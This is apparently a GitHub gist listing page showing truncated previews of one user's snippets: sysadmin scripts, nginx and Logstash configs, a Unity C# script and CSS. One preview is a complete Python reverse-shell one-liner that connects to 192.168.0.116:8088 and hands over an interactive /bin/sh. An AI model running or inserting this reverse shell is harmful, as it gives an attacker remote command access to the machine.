This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| OPENAI_API_BASE="${SQUIRREL_OPENAI_API_BASE:-${OPENAI_API_BASE:-https://api.openai.com/v1}}" | |
| OPENAI_API_KEY="${SQUIRREL_OPENAI_API_KEY:-${OPENAI_API_KEY:?Error: OPENAI_API_KEY is not set}}" | |
| OPENAI_MODEL="${SQUIRREL_OPENAI_MODEL:-${OPENAI_MODEL:-gpt-5-mini}}" | |
| DO_COMMIT=false | |
| DO_PUSH=false | |
| show_help() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket,subprocess,os; | |
| s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.116",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| mkdir /data/software | |
| cd /data/software | |
| yum install -y libxslt-devel libcurl-devel openssl-devel libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel | |
| wget http://hk1.php.net/distributions/php-7.2.3.tar.gz | |
| tar -zxvf php-7.2.3.tar.gz | |
| cd php-7.2.3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -- a quick LUA access script for nginx to check IP addresses against an | |
| -- `ip_blacklist` set in Redis, and if a match is found send a HTTP 403. | |
| -- | |
| -- allows for a common blacklist to be shared between a bunch of nginx | |
| -- web servers using a remote redis instance. lookups are cached for a | |
| -- configurable period of time. | |
| -- | |
| -- block an ip: | |
| -- redis-cli SADD ngx_ip_blacklist 10.1.1.1 | |
| -- remove an ip: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| ### BEGIN INIT INFO | |
| # Provides: SERVICE NAME | |
| # Required-Start: $remote_fs | |
| # Should-Start: | |
| # Required-Stop: $remote_fs | |
| # Should-Stop: | |
| # Default-Start: 3 4 5 | |
| # Default-Stop: 0 1 2 6 | |
| # Short-APP_DESCRIPTION: SERVICE DESCRIPTION |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| supervisorctl status | grep FATAL | awk '{print $1}' | awk -F ':' '{print $1 ":*"}' | uniq | xargs -I {} supervisorctl restart {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System.Collections; | |
| using System.Collections.Generic; | |
| using UnityEngine; | |
| public class GameControl : MonoBehaviour { | |
| public GameObject[] objects; | |
| public Transform transform; | |
| private int current; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| input { | |
| beats { | |
| port => 5044 | |
| } | |
| } | |
| filter { | |
| if [log_type] == "php_slow" { | |
| # php 慢查询日志 | |
| ruby { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| location /download/ { | |
| root /home/data/images; | |
| if ($request_uri ~* ^.*\/(.*)\.(doc|txt|zip|jpg|jpeg|png|gif|pdf|rar|xls|xlsx|docx|ppt|pptx|wps)(\?name=([^&]+))$) { | |
| set $filename "$arg_name.$2"; | |
| header_filter_by_lua_block { | |
| if ngx.status ~= 200 then | |
| return | |
| end | |
| local ua = ngx.req.get_headers()["User-Agent"] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .rainbow { | |
| /* 页面顶部彩虹(渐变)效果 */ | |
| height: 4px; | |
| position: absolute; | |
| top: 0; | |
| width: 100%; | |
| background-image: -webkit-linear-gradient(left, #EF0000, #FBC4ED); | |
| } |
NewerOlder